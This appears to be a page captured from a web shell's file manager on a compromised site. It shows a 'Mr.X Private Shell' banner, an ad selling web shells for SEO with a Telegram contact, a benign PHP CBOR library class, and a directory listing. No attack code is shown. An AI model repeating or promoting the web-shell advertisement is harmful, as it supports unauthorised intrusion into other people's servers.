__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace CBOR\OtherObject;
use CBOR\OtherObject;
use InvalidArgumentException;
use function array_key_exists;
class OtherObjectManager implements OtherObjectManagerInterface
{
/**
* @var string[]
*/
private array $classes = [];
public static function create(): self
{
return new self();
}
public function add(string $class): self
{
foreach ($class::supportedAdditionalInformation() as $ai) {
if ($ai < 0) {
throw new InvalidArgumentException('Invalid additional information.');
}
$this->classes[$ai] = $class;
}
return $this;
}
public function getClassForValue(int $value): string
{
return array_key_exists($value, $this->classes) ? $this->classes[$value] : GenericObject::class;
}
public function createObjectForValue(int $value, ?string $data): OtherObjectInterface
{
/** @var OtherObject $class */
$class = $this->getClassForValue($value);
return $class::createFromLoadedData($value, $data);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| BreakObject.php | File | 571 B | 0664 |
|
| DoublePrecisionFloatObject.php | File | 2.08 KB | 0664 |
|
| FalseObject.php | File | 691 B | 0664 |
|
| GenericObject.php | File | 617 B | 0664 |
|
| HalfPrecisionFloatObject.php | File | 2.04 KB | 0664 |
|
| NullObject.php | File | 690 B | 0664 |
|
| OtherObjectInterface.php | File | 342 B | 0664 |
|
| OtherObjectManager.php | File | 1.1 KB | 0664 |
|
| OtherObjectManagerInterface.php | File | 195 B | 0664 |
|
| SimpleObject.php | File | 2.34 KB | 0664 |
|
| SinglePrecisionFloatObject.php | File | 2.03 KB | 0664 |
|
| TrueObject.php | File | 687 B | 0664 |
|
| UndefinedObject.php | File | 583 B | 0664 |
|